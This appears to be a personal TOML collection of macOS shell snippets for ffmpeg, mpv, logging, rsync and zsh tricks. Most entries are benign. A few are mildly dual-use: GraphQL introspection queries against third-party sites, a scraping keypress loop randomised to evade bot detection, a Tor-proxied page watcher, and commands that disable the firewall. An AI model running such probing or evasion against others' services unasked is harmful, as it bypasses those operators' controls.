command = "log stream --style=ndjson --info --debug --predicate \"processImagePath Contains[c] 'symptomsd'\" | grep --line-buffered -v \"Filtering the log\" | pv -l | head -100 | jq -c -r \".eventMessage\" | g \"Data Usage fo\""
output = ""
[[snippets]]
description = "macos app tweaking: Make an app hidden/not appear in the dock. Obsidian in this case. Might require bypassing codesigning. Or use the key `LSBackgroundOnly`. See: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/20001431-113616"
command = "/usr/libexec/PlistBuddy -c 'Add :LSUIElement bool true' /Applications/Obsidian.app/Contents/Info.plist ## /usr/libexec/PlistBuddy -c 'Delete :LSUIElement' /Applications/Obsidian.app/Contents/Info.plist"
output = ""
[[snippets]]
description = "ffmpeg: slow down video+audio WITHOUT pitch correction. Creates the \"deep voice\" effect. Requires changing the audio rate and then resampling. Funny how the dumb thing (this) is somewhat harder than the smarter thing (pitch correction with atempo)"
command = "ffmpeg -i alex_only.mp4 -filter_complex \"[0:v]setpts=1.5*PTS[v];[0:a]asetrate=44100*(1/1.5),aresample=44100[a]\" -map \"[v]\" -map \"[a]\" -c:v libx264 -crf 17 -preset slow slow_alex2.mp4; ffplay slow_alex2.mp4"
output = ""
[[snippets]]
description = "compress a large folder with many files. Multi-threaded. Decent performance. \"-3\" is a low preset, can choose \"-6\" or \"-9\" instead. Using xz seems better than pigz but slower."
command = "gtar -c -I 'xz -3 -T0' -f compressed_folder_out.tar.xz folder_input # compress a large folder with many files. Multi-threaded. Decent performance. \"-3\" is a low preset, can choose \"-6\" or \"-9\" instead. Using xz seems better than pigz but slower."
output = ""
[[snippets]]
description = "egpu: check apps using inconsitent gpus. It get the ids for each GPU, then lists the apps associated with each GPU, then excludes all lines identical between all GPUs. In practice this shows the apps that aren't running on the eGPU. But overall, `SafeEjectGPU` is super inconsistent and its behavior does not follow the documentation. Also little bugs like often only `gpuids` is recognized when `gpuid` is not."
command = "SafeEjectGPU $(for x ($(SafeEjectGPU gpus | g \"gpuid \" | hck -f 2)) ; do echo gpuid $x apps; done) | sort | uniq -c | sort -nr | grep -v \"^ $(SafeEjectGPU gpus | g \"gpuid \" | hck -f 2 | wc -l | bc)\" | sort -bfk 8"
output = ""
[[snippets]]
description = "shell-fu/set operations: Use the awesome `combine` util to find Apple Developer utils that are only in the developer path and not on the main pathj"
command = "combine <(ls /Library/Developer/CommandLineTools/usr/bin/) not <(ls /usr/bin) # set operations example. Also using process sub instead of files"
output = ""
[[snippets]]
description = "dyld: show lots of dyld info about an executable (dynamic linker, see dyld(1), update_dyld_shared_cache(1),etc)"
command = "dyldinfo -bind -lazy_bind -function_starts -opcodes -weak_bind -function_starts -dr -weak_bind -data_in_code /Applications/IINA.app/Contents/Frameworks/libmpv.1.dylib | less"
output = ""
[[snippets]]
description = "graphql/apollo query entire schema"
command = "curl.... --data-binary '{\"operationName\":\"IntrospectionQuery\",\"variables\":{},\"query\":\"query IntrospectionQuery{__schema {types {name description fields { name type { ofType {name}}}}}}\"}' --compressed -v 'https://app.warp.dev/graphql' | jq"
output = ""
[[snippets]]
description = "graphql: get full schema example. From https://atheros.ai/blog/graphql-introspection-and-introspection-queries"
command = "curl 'https://app.warp.dev/graphql' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Origin: file://' --data-binary '{\"query\":\"# Write your query or mutation here\\n#query IntrospectionQuery{__schema {types {name description fields { name type { ofType {name}}}}}}\\n\\n# query GetBlock($id: String) {\\n# getBlock(id: $id) {\\n# stylizedCommand\\n# stylizedOutput\\n# pwd\\n# timeStartedPty\\n# timeCompletedPty\\n# timeStartedTerm\\n# timeCompletedTerm\\n# __typename\\n# }\\n# }\\n\\n\\n# {\\n# __schema {\\n# directives {\\n# name\\n# description\\n# }\\n# subscriptionType {\\n# name\\n# description\\n# }\\n# types {\\n# name\\n# description\\n# }\\n# queryType {\\n# name\\n# description\\n# }\\n# mutationType {\\n# name\\n# description\\n# }\\n# queryType {\\n# name\\n# description\\n# }\\n# }\\n# }\\n\\nfragment FullType on __Type {\\n kind\\n name\\n description\\n fields(includeDeprecated: true) {\\n name\\n description\\n args {\\n ...InputValue\\n }\\n type {\\n ...TypeRef\\n }\\n isDeprecated\\n deprecationReason\\n }\\n inputFields {\\n ...InputValue\\n }\\n interfaces {\\n ...TypeRef\\n }\\n enumValues(includeDeprecated: true) {\\n name\\n description\\n isDeprecated\\n deprecationReason\\n }\\n possibleTypes {\\n ...TypeRef\\n }\\n}\\nfragment InputValue on __InputValue {\\n name\\n description\\n type {\\n ...TypeRef\\n }\\n defaultValue\\n}\\nfragment TypeRef on __Type {\\n kind\\n name\\n ofType {\\n kind\\n name\\n ofType {\\n kind\\n name\\n ofType {\\n kind\\n name\\n ofType {\\n kind\\n name\\n ofType {\\n kind\\n name\\n ofType {\\n kind\\n name\\n ofType {\\n kind\\n name\\n }\\n }\\n }\\n }\\n }\\n }\\n }\\n}\\n\\nquery IntrospectionQuery {\\n __schema {\\n queryType {\\n name\\n }\\n mutationType {\\n name\\n }\\n types {\\n ...FullType\\n }\\n directives {\\n name\\n description\\n locations\\n args {\\n ...InputValue\\n }\\n }\\n }\\n}\",\"variables\":{}}' --compressed | jq #https://atheros.ai/blog/graphql-introspection-and-introspection-queries"
output = ""
[[snippets]]
description = "shell-fu: alias command completion to another"
command = "compdef abwhich=which # alias command completion to another"
output = ""
[[snippets]]
description = "shell-fu: unbuffer/line buffer pipe. So results are immediate"
command = "while.... done | unbuffer -p tr -s ' ' | cut ..."
output = ""
[[snippets]]
description = "mac/filevault: bypass login on next restart, without forcing immediate restart. Of course has security implications. Useful for remote servers."
command = "sudo fdesetup authrestart -delayminutes -1 # mac/filevault: bypass login on next restart, without forcing immediate restart"
output = ""
[[snippets]]
description = "rsync local to remote example. Low compression level since the remote has very weak CPU/RAM and the data is highly compressible. Huge speed up despite level 1."
command = "rsync -z -v --dry-run --exclude '*.pyc' --exclude '__pycache__' -P --times --compress-level=1 --recursive --itemize-changes --stats /tmp/poop/ chris@joyo.xvm.mit.edu:~/poop/"
output = ""
[[snippets]]
description = "zsh completion: simple list of arguments examples"
command = "# open \"https://stackoverflow.com/questions/17318913/make-zsh-complete-arguments-from-a-file\""
output = ""
[[snippets]]
description = "reload zsh completion from external file"
command = "function compUpdate() { [ -z $1 ] && echo \"BAD BAD\" && return; unfunction $1 && autoload -Uz $1 }"
output = ""
[[snippets]]
description = "shell-fu: greping output from variable without echoing example"
command = "grep -b2 \"Minor Type: He\"<<<\"$(system_profiler SPBluetoothDataType)\" | awk '/Address/{print $3}'"
output = ""
[[snippets]]
description = "shell-fu: auto reformat shell code"
command = "beautysh"
output = ""
[[snippets]]
description = "mpv.conf config: auto-profiles condition to shift subtitles to left in fun video filter visualizer usage is detected. This makes the subtitles appear more under the actual video than split across the video and visualizations. Of course assumes that visualizes are on the right side."
command = "## profile-cond=((string.match(get(\"path\",\"\"), \"Quantum\") ~= nil or string.match(get(\"path\",\"\"), \"TOS\") ~= nil) and get(\"video-out-params/dw\",0) >= 1490) or (get(\"video-dec-params/aspect\",4/3) <=1.4 and get(\"video-out-params/aspect\",16/9) >=1.45)"
output = ""
[[snippets]]
description = "Mac AssetCache/Content Caching: check the AssetCache DB for decent downloads. Diving what exactly each app is is tricky, but doable. Requires root perms or _assetcache group memberships"
command = "sqlite3 /Library/Application\\ Support/Apple/AssetCache/Data/AssetInfo.db 'select * from ZASSET'"
output = ""
[[snippets]]
description = "rsync: local copy to external SSD for archiving purposes"
command = "rsync -vv --dry-run --itemize-changes --partial --append-verify --size-only --stats --recursive --progress --no-compress /Users/chris/Downloads/media/putio_mount_direct/.../folder_to_copy_including_folder_itself ."
output = ""
[[snippets]]
description = "rsync/rclone copy to external: parallize rsync copy to speed up transfer. Ideally shouldn't matter, but rclone seems to download a few files in parallel with higher througput then it'll download 1 file. Requires directory already made since individual files are copied"
command = "fd -0 \"E0\" /Users/chris/Downloads/media/putio_mount_direct/some_path_with_files/ | gparallel -0 -j 3 rsync -vv --dry-run --itemize-changes --partial --append-verify --size-only --stats --recursive --progress --no-compress {} ."
output = ""
[[snippets]]
description = "iOS/Configurator: rearrange iPhone/iPad icons from the terminal using the CLI Configurator interface! Amazing comapred to the horrible and limited UI."
command = "/Applications/Apple\\ Configurator\\ 2.app/Contents/MacOS/cfgutil get-icon-layout > layout.json # /Applications/Apple\\ Configurator\\ 2.app/Contents/MacOS/cfgutil set-icon-layout -f layout.json"
output = ""
[[snippets]]
description = "override man page MANPATH so that Terminal shows the correct one. But this disables all the other smart man page finding so don't leave it around for long."
command = "launchctl setenv MANPATH \"/usr/local/share/man:/usr/share/man:/usr/X11/man:/Library/Apple/usr/share/man:/Applications/Xcode.app/Contents/SharedFrameworks/ContentDeliveryServices.framework/Versions/A/itms/share/man/man1:/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/share/man/man1:/Applications/Xcode.app/Contents/Developer/usr/share/man/man1:/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.7/share/man/man1:/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/share/man/man1:/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/usr/share/man/man1\" #manpage"
output = ""
[[snippets]]
description = "undo the above MANPATH override. Only needed to get Terminal's man page viewer to work correctly."
command = "launchctl unsetenv MANPATH"
output = ""
[[snippets]]
description = "manpath: Get every man page path by searching all man pages files...rather crude. Them join them together with \":\" with my helper function for use in defining a \"MANPATH\". Of course the order is not optimal so needs some tweaking"
command = "join_by \":\" $(man -w -a \"*\" | pv -l | sed -E \"s/\\/[^\\/]*$/\\//g\" | sort | uniq) # get every man page manpath"
output = ""
[[snippets]]
description = "log/istat/deleted: monitor log events tracking requests for disk space that take into account \"purgable\" data. This can tax CPU when polled like iStat seems to do."
command = "sudo log stream --style=json --info --debug --predicate \"(subsystem == 'com.apple.cache_delete' AND (messageType != debug OR not processImagePath Contains[c] 'deleted')) OR processImagePath == '/usr/bin/sudo'\""
output = ""
[[snippets]]
description = "ssh: force password-only authentication. Great for checking that only pubkey auth is enabled"
command = "ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no .."
output = ""
[[snippets]]
description = "shell-fu: iterate over lines in a file. see `_ssh_hosts` for source."
command = "local -a lines=(\"${(@f)$(<\"/Users/chris/.ssh/config\")}\"); while (($#lines)) do echo \"--> ${lines[1]}\"; shift lines; done"
output = ""
[[snippets]]
description = "shell-fu: reverse lines in pasteboard"
command = "pbpaste | sed '1!G;h;$!d' | tee /dev/stderr | pbcopy"
output = ""
[[snippets]]
description = "ffmpeg: use an older version of ffmpeg, 4.2, to fix the mac/avoundation audio stuttering issue, particularly when using Loopback audio. For some reason this fixes it. https://trac.ffmpeg.org/ticket/4513 https://trac.ffmpeg.org/ticket/4437"
command = "_ffmpeg-4.2 -re -f avfoundation -i \":noop\" -c copy -f wav -y out.wav # old version of ffmpeg fixes issue"
output = ""
[[snippets]]
description = "shell-fu: Sum number columns in a column. In this case used to find total size of a list of directories."
command = "gdu --bytes -d 0 \"/dir1/wee\" \"/dir2\" \"/Volumes/dir3\" | awk '{sum+=$1} END {print sum/1024/1024/1024}' # sum diretories in GB"
output = ""
[[snippets]]
description = "quicktime testing: Constantly re-open a quicktime stream everytime quicktime is closed. Useful for testing quicktime's capricious compatability. Opens qt in shell background, sleeps, opens media, then does a shell `wait` to wait for qt to close. While loop repeats this forever."
command = "while true; do /System/Applications/QuickTime\\ Player.app/Contents/MacOS/QuickTime\\ Player &; sleep 2; open --background --hide -a \"Quicktime Player\" \"http://discovery.local:8080/testo.m3u8\" ; wait; done"
output = ""
[[snippets]]
description = "ffmpeg/hls/hevc/h265: Generation an HLS stream with HEVC video compatible with Quicktime/Safari from ffmpeg. Requires 2 VERY WEIRD things. #1) An older version of ffmpeg...wtf. And #2) Requires that a compatible HEVC/libx265 encoded stream is COPIED (`-c:v copy`) for the HLS stream. Trying to transcode here with `libx265` just doesn't work. It works in everything but quicktime that is. Wtf... Got this from https://superuser.com/questions/1338231/generate-hls-stream-using-h265-codec#_=_"
command = "echo rm testo* init.mp4; _ffmpeg-4.3.1 -i playlist.mp4 -c:v copy -vtag hvc1 -c:a aac -hls_segment_type fmp4 -hls_time 6 -hls_list_size 10 -hls_flags delete_segments+append_list+split_by_time+single_file -hls_playlist_type event -hls_segment_type fmp4 testo.m3u8 # https://superuser.com/questions/1338231/generate-hls-stream-using-h265-codec#_=_"
output = ""
[[snippets]]
description = "star trek scripts: extra uses of metric units exclude meters"
command = "trekLines '\\W(kilo|kila|mega|tera|tera|giga|peta)\\W?\\w{3,8}(\\W|$)' | g -v \"(metre|gigantic)\" | g \":\" | g -o \"${TREKTMP}\" | g -o \"\\w+.*\\w+\" | \\grep -v -E \"^[A-Z]\" | gsed -E \"s/s$//g\" | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "alfred dump clipboard history from clipboard.alfdb sqlite database. No idea what happens with non-text."
command = "sqlite3 \"$HOME/Library/Application Support/Alfred/Databases/clipboard.alfdb\" \"select item from clipboard order by ts desc \""
output = ""
[[snippets]]
description = "shell-fu: Strip repeated blank newlines and blank leading newlines"
command = "echo ... | gsed -E ':a;N;$!ba;s/\\n{2,}/\\n/g;s/^\\n+//'"
output = ""
[[snippets]]
description = "pmset: schedule a one time wake/shutdown/poweroff/sleep event for 90 seconds in the future with dates auto calculated. More precise then using \"pmset relative\" and can be cancelled. Cancelling requires passing in exact creation params."
command = "# sudo pmset schedule wake \"$(gdate --date='90 seconds' '+%m/%d/%y %H:%M:%S')\"; pmset -g sched; # sudo pmset schedule cancel wake ..."
output = ""
[[snippets]]
description = "homebrew: fetch bottle binary directly. Need current homebrew. Might not work."
command = "curl -I -H 'Authorization: Bearer QQ==' $(brew info --json=v1 ffmpeg | jq -r '.[0].bottle.stable.files.catalina.url') > /tmp/ffmpeg"
output = ""
[[snippets]]
description = "macOS/bluetooth: print out macOS bluetooth device cache"
command = "plutil -extract \"DeviceCache\" xml1 -o - /Library/Preferences/com.apple.Bluetooth.plist | plutil -p - | g -v \"LastNameUpdate\" | g \"(^ \\\"|name)\" # bluetooth device cache"
output = ""
[[snippets]]
description = "macOS bluetooth logging: Monitor bluetooth logs, save all of them to a file, but also extract non-random device ids. Useful to figuring out if you mac is constantly searching for stupid devices because you have 500 of them in your 10 year old bluetooth device cache. See previous command to dump device cache"
command = "log stream --style=ndjson --info --debug --predicate \"(processImagePath Contains[c] 'bluetooth')\" | grep -v \"^Filter\" | jq '\"\\(.processImagePath) \\(.messageType): \\(.eventMessage)\"' | g \"(bluetooth)\" | pv -l | tee -a /tmp/blue_logs| g -v \"(non resolvable random address|random address:)\" | g -o \"(\\w{2}\\-){3,}\\w{2}\"; # cat /tmp/blue_logs| g -v \"(non resolvable random address|random address:)\" | g -v \"Debug: \" | g \"(\\w{2}\\-){5}\\w{2}\""
output = ""
[[snippets]]
description = "apple: monitor sitemaps for new support pages."
command = "curl https://support.apple.com/en-us/sitemaps/sitemap-en-us-ht-1.xml?cache-break=${RANDOM}"
output = ""
[[snippets]]
description = "get file size, for all files in current dir over 1M modified over 12W ago"
command = "fd --size=\"+1MB\" --changed-before=12w --exec stat -f \"%z\" \"{}\""
output = ""
[[snippets]]
description = "macOS logging: Monitor logs for macOS built-in firewall activity. Super janky... but crafting the right predicate is annoying. (`message contains ...` doesn't match against the subsystem/progress, so need to duplicate the same broad string filters. sigh."
command = "sudo log stream --info --debug | g \"(firewall|pfctl|packet filter|Python|socketfilter|com.apple\\.alf)\" | g -v \"(com.apple.preference.security.remoteservice|symptomsd: |com.apple.CFPasteboard)\""
output = ""
[[snippets]]
description = "zsh substitution examples. Get directory, get filename, get filename without extension, etc. See `man zshexpn`"
command = "X=\"/tmp/path/this_file.txt\"; echo \"path: ${X}\\nfilename: ${X:t}\\nfile-no-extension: ${X:t:r}\\ncontaining directory: ${X:h}\\nsubstitution: \"${X:s/'txt'/'weeee'/} # zsh substitution examples. Get directory, get filename, get filename without extension, etc. See `man zshexpn`"
output = ""
[[snippets]]
description = "macOS/file type assocation: Get finder file type/uti association for every extension in the current directory. hacky"
command = "for e in $(for f in *; do echo $f:t:e; done | pv -l | sort | g \"^[a-z]\\w{2,4}$\" | uniq ) ; do echo \"====$e====\"; duti -x $e ; done"
output = ""
[[snippets]]
description = "ffmpeg/mpv/iina visualization: Scale a visualization to match the height of an input video, unless that input video is too small, then scale to 720. The 2nd scale2ref has no effect unless the input video is too small. Then hstack the video and visualization side by side for fun viewing. FINALLY. New to add an `fps` if the viz and the video don't have exact frames, like with showcqt or other audio->viz filters."
command = "## ffmpeg/mpv/iina visualization snippet: [vfreq][vid1tmp]scale2ref='main_w*(oh/main_h)':'max(ih,720)':flags=neighbor[vfreq][vbig];[vbig][vfreq]scale2ref='main_w*(oh/main_h)':ih:flags=bilinear[vbig][vfreq];[vbig][vfreq]hstack,scale=-2:ih[vo]"
output = ""
[[snippets]]
description = "macOS/bonjour: check for sleep proxies on the local network"
command = "dns-sd -B _sleep-proxy._udp local"
output = ""
[[snippets]]
description = "media: Convert a VLC xspf playlist into a simple txt only playlist usable by `mpv --playlist=`. Sadly has to discard extra details like screenshot, etc."
command = "cat Featurettes.xspf | g location | gsed -E \"s/\\&amp;/\\&/g;s/\\s*<\\/?location>//g\" # > Featurettes.txt"
output = ""
[[snippets]]
description = "screensaver macOS: Set screensaver idle time defaults directly. 2 minutes in this case. May not actually update it until the appropriate service observes the update."
command = "defaults -currentHost read com.apple.screensaver idleTime; # defaults -currentHost write com.apple.screensaver idleTime 120"
output = ""
[[snippets]]
description = "mpv/iina: Show text returned from cli util on the mpv OSD. Requires some newline swapping. Also strips shell formatting chars. My `mpc2` function uses `/bin/echo` which treats the input more raw, negating the need for multiple layers of echoing that the shell builtin `echo` would require."
command = "mpc2 show-text '\"${osd-ass-cc/0}{\\\\fs4}'\"$(NO_FOLD=1 trekTriviaMA \"$1\" | gsed ':a;N;$!ba;s/\\n/\\\\n/g' | sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g;s/\\\"/\\\\\\\\\\\"/g;\" )\"'\"' 4000"
output = ""
[[snippets]]
description = "fswatch: source/run a shell script everytime it's changed."
command = "/usr/local/bin/fswatch /tmp/text-test | while read file; do echo \"running: $file\"; source /tmp/text-test; done"
output = ""
[[snippets]]
description = "macOS USB packet capture: Must first bring the special USB interfaces up. Device name varies...some arent listed in ioreg but some are. Don't really understand it. Use Wireshark GUI to monitor multiple at once. Then take them all down when done."
command = "# ifconfig XHC20 up; ifconfig VHC128 up; .... # ioreg -w0 -rc AppleUSBHostController | g \"^\\+\\-o \" #... then to take them all down: for i in $(ifconfig | \\grep -E \"^[A-Z]\" | hck -d : -f 1) ; do echo sudo ifconfig $i down; done"
output = ""
[[snippets]]
description = "fun mpv/iina filters"
command = "## fun filters: guided,codecview,vidstabdetect=show=1, lagfun, oscilloscope=x=1:y=0.5:s=1:t=1, pixscope, [aid1]showwaves[vo], amovie=playlist.mp4, asplit [a][out1];[a] showspectrum=mode=separate:color=intensity:slide=1:scale=cbrt [out0]'"
output = ""
[[snippets]]
description = "macOS firewall: administer from CLI. Sometimes needed to fix issue with mosh where it constantly reprompts. (see link to github)"
command = "/usr/libexec/ApplicationFirewall/socketfilterfw --help; # /usr/libexec/ApplicationFirewall/socketfilterfw --add /usr/local/Cellar/mosh/1.3.2_14/bin/mosh-server; # sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off # https://github.com/mobile-shell/mosh/issues/898#issuecomment-368333946"
output = ""
[[snippets]]
description = "macOS: Monitor ComputerName changes for debugging purposes. I suspect something is messed up about my network. The notifications create a semi-readable log in Notification Center."
command = "CNAME=\"$(scutil --get ComputerName)\"; while true; do if [[ \\! $(scutil --get ComputerName) == \"$CNAME\" ]] ; then terminal-notifier -title \"HOSTNAME CHANGED\" -message \"Yorktown host name changed from '$CNAME' to '$(scutil --get ComputerName)'\" -ignoreDnD -sender \"varenc.chris.hostnameTracker\" -sound Blow; echo \"extra sleep...\"; sleep 30; fi; CNAME=\"$(scutil --get ComputerName)-testo\"; echo \"sleeping...\"; sleep 60; done"
output = ""
[[snippets]]
description = "mpv compling: update mpv bin on path and IINA with a just-compiled mpv."
command = "# cp -c /Users/chris/Documents/mpv/build/libmpv.dylib /Applications/IINA.app/Contents/Frameworks/libmpv.1.dylib; cp -c /Users/chris/Documents/mpv/build/mpv ~/Dropbox/.bin/__mpv_yorktown;"
output = ""
[[snippets]]
description = "ffprobe/ffmpeg: measure/observe the TRUE video bitrate. Just codec a null muxing with ffmpeg and reads the output. Limits to the fist 60 seconds, which is probably okay."
command = "T=300; echo video: $(( ($(ffmpeg -ss 0 -i \"`mpp`\" -c copy -t $T -f null - 2>&1 | grep --color=no \"muxing overhead\" | hck -d \"(:|kB)\" -f 2) / $T) * 8 )) kilobits/second"
output = ""
[[snippets]]
description = "shell-fu: Change IFS so that when backtick expands to a filename/string with spaces, that whole string is treated as the single argument. Not very useful since I don't want IFS=% on all the time and I don't know an easy way to change this just for when i'm using backticks"
command = "IFS=%; ffprobe `mpp`"
output = ""
[[snippets]]
description = "shell-fu: Zsh only. For the string $c repeat it $n times."
command = "n=3 c=\"applesauce \"; print -r -- \"${(pl:${#${c}}*n::$c:)}\""
output = ""
[[snippets]]
description = "macOS key remapping: Use the little known `hidutil` to remap keys. See https://developer.apple.com/library/archive/technotes/tn2450/_index.html"
command = "hidutil property --set '{\"UserKeyMapping\":[{\"HIDKeyboardModifierMappingSrc\":0x700000004,\"HIDKeyboardModifierMappingDst\":0x700000005},{\"HIDKeyboardModifierMappingSrc\":0x700000005,\"HIDKeyboardModifierMappingDst\":0x700000004}]}'; # hidutil property --set '{\"UserKeyMapping\":[]}' # see https://developer.apple.com/library/archive/technotes/tn2450/_index.html"
output = ""
[[snippets]]
description = "ProcessMonitor: Requires update v1.50 which include invalid-JSON fixes. Of course doesn't actually fix all the JSON so still needs some hacks. But it a welcome improvement."
command = "sudo /Applications/monitoring/ProcessMonitor.app/Contents/MacOS/ProcessMonitor | head -100 | tee /tmp/tmp | g -E -v \"NOTIFY_EXIT\" | gsed --unbuffered '/./{H;$!d} ; x ; s/\"-F|\",\".*\"],\"ppid\"/\"-F|\",\"___AWK STUFF___\"],\"ppid\"/' | head -50 | jq --unbuffered -c '[.event, .process.path, \"\\(.process.arguments | join(\" \"))\", .process.pid, .process.ppid, .ancestors]'"
output = ""
[[snippets]]
description = "shell-fu set operations AND macOS obscure utils: Find executables, mostly cli utils, bundled with the macOS filesystem support, and then compare that against the list of all utils on the current path and only shows FS utils not on the path. Also demonstrates the \"NOT\" set operation using `combine`. But it also support AND, OR, XOR. It's great."
command = "combine <(fd -t x . /System/Library/Filesystems/ --exec echo {/}) not <(for p in $(pathgrep .); do echo ${p:t}; done)"
output = ""
[[snippets]]
description = "mpv/iina video comparison: NOW WITH SHOWCQT. Probably doesn't have all edge cases and relies on the current output height being the correct input video output height. fps a little inconsistent. Needs work but working now."
command = "mpc set lavfi-complex \"\\\"[aid1]asplit[ao],showcqt=fps=23.976:s=480x1080:count=5:axis=0:axis_h=30:bar_h=100:basefreq=200:endfreq=16495:timeclamp=0.12,fps=23.976:round=down,scale=-2:\\${video-params/h},hflip[cqt1];[aid2]showcqt=fps=23.976:s=480x1080:count=5:axis=0:axis_h=30:bar_h=100:basefreq=200:endfreq=16495:timeclamp=0.12,fps=23.976:round=down,scale=-2:\\${video-params/h},hflip[cqt2]; [vid2]crop=iw:ih[vid2tmp];[vid1]crop=iw:ih[vid1tmp];[vid2tmp][vid1tmp]scale2ref='max(main_w,in_w)':'max(main_h,in_h)':flags=fast_bilinear[v2][v1];[v1][v2]scale2ref='max(main_w,in_w)':'max(main_h,in_h)':flags=fast_bilinear[v1][v2]; [v1]fps=24000/1001:round=near,pad=iw+480:ih:0:0[v1];[v1][cqt1]overlay=main_w-480[v1]; [v2]drawbox=color=red@0.051:thickness=2,fps=24000/1001:round=near,pad=iw+480:ih:0:0[v2];[v2][cqt2]overlay=main_w-480[v2]; [v1][v2]hstack=2[vo]\\\"\""
output = ""
[[snippets]]
description = "scraping/ui automation: Send an \"END\" keypress at a randomize interval. Went a little overkill on making it look random. Useful when some website requires you to constantly scroll down a page to get all your data. Run this, select the page in chrome, and let cliclick send the \"END\" key presses for you. Does a page-up occasionally to look less bot like, but probably still looks very bot-like to someone that cares."
command = "for x in {1..100} ; do cliclick kp:\"end\"; R=\"$((0.11 + ($RANDOM%5)/10.0 + max($RANDOM%10 - 8,0) - max($RANDOM%10-8,0)/2.0 + max($RANDOM%30-28,0)*10 ))\"; echo \"sleeping $R...\"; sleep $R; if [[ $(($RANDOM%5)) -eq 0 ]] ; then echo 'doing page up!'; cliclick kp:\"page-up\"; sleep $((RANDOM%6/10+0.142)); fi; done"
output = ""
[[snippets]]
description = "video/ffmpeg-ish: Use python vidstab library for video stablization. Also works on LIVE VIDEO"
command = "python3 -m vidstab --input out_raw.mkv --output out_py.mkv"
output = ""
[[snippets]]
description = "ffmpeg video stablization with vidstab: Requires 2-pass. See docs. This pulls the start time and media path from current mpv session."
command = "#ffmpeg -ss \"`mpg time-pos`\" -i \"`mpp`\" -t 60 -vf 'vidstabdetect=shakiness=5:mincontrast=0.45' -f null - ; ffplay -ss \"`mpg time-pos`\" \"`mpp`\" -t 60 -vf 'vidstabtransform=smoothing=10:optzoom=0:interpol=bicubic:input=transforms.trf'"
output = ""
[[snippets]]
description = "mpv/iina filtering snippet util: In mpv/iina, crop input video to the actual underlying video's dimensions. For removing output added by another filter when before processing a new filter. NOTE: Must remember that the subsequent filter's output video dimensions may not line up with source video anymore, like with waveform. And those will require padding. But this works ideally for things like vectorscope and histogram."
command = "##... crop='min(${track-list/0/demux-w:0+${track-list/1/demux-w:0+0+iw}},iw)':'min(${track-list/0/demux-h:0+${track-list/1/demux-h:0+0+ih}},ih)':0:0 ...."
output = ""
[[snippets]]
description = "ffmpeg-fu: Extract partial subs from with fast-seek (don't read entire file), shifted to match media correctly. Extra hard work to get both FAST and CORRECT seeking. This requires \"pre-seeking\" to 30 seconds before the cut point, then \"slow-seeking\" afterwards to exactly the media cut point. `-itsoffset` is used later to shift the subs."
command = "T=`mpg time-pos`; PRE_SEEK=30; ffmpeg -hide_banner -y -ss $((T-PRE_SEEK)) -i \"`mpp`\" -ss \"$PRE_SEEK\" -map 0:s:0 -y output.en.srt && ffmpeg -itsoffset \"`mpg time-pos`\" -i output.en.srt -c copy -y shift.srt && cat shift.srt | \\gsed -E \"s/([A-Z])/\\L\\1/g\" > t.srt"
output = ""
[[snippets]]
description = "shell-fu: generic URL watcher and alerter. When \"unavailable\" is no longer matched, alert with noises! If anything but \"unavailable\" is returned you get an alert, like if logged out and using session cookies, etc."
command = "for x in {1..500} ; do curl --silent --show-error --socks5-hostname 127.0.0.1:9150 'http://....' | g -o \"Product temporarily unavailable\" || { echo \"ALERT\" && terminal-notifier -title \"MILO ALERT\" -message \"check script\" -ignoreDnD -group alert -sound Ping && sayLoud \"Ping. Ping. Ping. Ping.\" && sleep 200 } ; sleep $((20+$RANDOM%200)); done"
output = ""
[[snippets]]
description = "macOS speech/siri: Show bundle ids for all installed and all available siri voices. See https://stackoverflow.com/questions/61122378/make-the-say-terminal-utility-and-nsspeechsynthesizer-work-with-siri-voices"
command = "ls /System/Library/Speech/Voices/*.SpeechVoice/Contents/Info.plist | grep -i siri | xargs -n 1 /usr/libexec/PlistBuddy -c 'print CFBundleIdentifier'; echo \"====all voice...====\"; /usr/libexec/PlistBuddy -c 'print DownloadableCustomVoices' /System/Library/PrivateFrameworks/SpeechObjects.framework/Resources/SpeechDataDefaults.plist | grep 'VoiceIdentifier' | sed -E 's/.+ = //' # https://stackoverflow.com/questions/61122378/make-the-say-terminal-utility-and-nsspeechsynthesizer-work-with-siri-voices"
output = ""
[[snippets]]
description = "fs_usage FORCE TERMINAL WIDTH. Just use `unbuffer` to trick fs_usage into thinking you're a terminal and outputting a full width. NOTABLY this is a larger width than `-w` gets you, and this is important+useful since `fs_usage` truncates file names. Pretty absurd. You know apple engineers have better internal tools.."
command = "sudo unbuffer fs_usage -t 2 | head"
output = ""
[[snippets]]
description = "netcat/nc listen on port and echo feedback. TCP. `-k` keeps it open."
command = "nc -k -l 192.168.88.20 8888; # echo \"hi\\n\\nwee\" | nc 192.168.88.20 8888"
output = ""
[[snippets]]
description = "shell-fu: echo quoted array, where each array value is outputed in quotes, even when array values have spaces and are quoted themselves"
command = "quotedarray2=(-s \"https://cdn.discordapp.com/attachments/860061962334109719/911364489532825650/IMG_6507.jpg\"); echo \"quoted params:\" $(printf \"'%s' \" \"${quotedarray2[@]}\"); #https://stackoverflow.com/questions/12985178/bash-quoted-array-expansion"
output = ""
[[snippets]]
description = "shell-fu: in zsh, find the shallowest file match \"Info.plist\" that's a subdirectory of $1. 2nd example limits matches to directories (`/`)"
command = "echo ${1}/**/Info.plist(Od[1]); ## or... ; cd -- **/$1(/Od[1])"
output = ""
[[snippets]]
description = "graphql: Introspection query on economist.com graphql"
command = "curl -H \"Host: www.economist.com\" --compressed -v 'https://www.economist.com/graphql?version=v1&operationName=IntrospectionQuery&variables=%7B%7D&query=query%20IntrospectionQuery%7B__schema%20%7Btypes%20%7Bname%20description%20fields%20%7B%20name%20type%20%7B%20ofType%20%7Bname%7D%7D%7D%7D%7D%7D' | jq"
output = ""
[[snippets]]
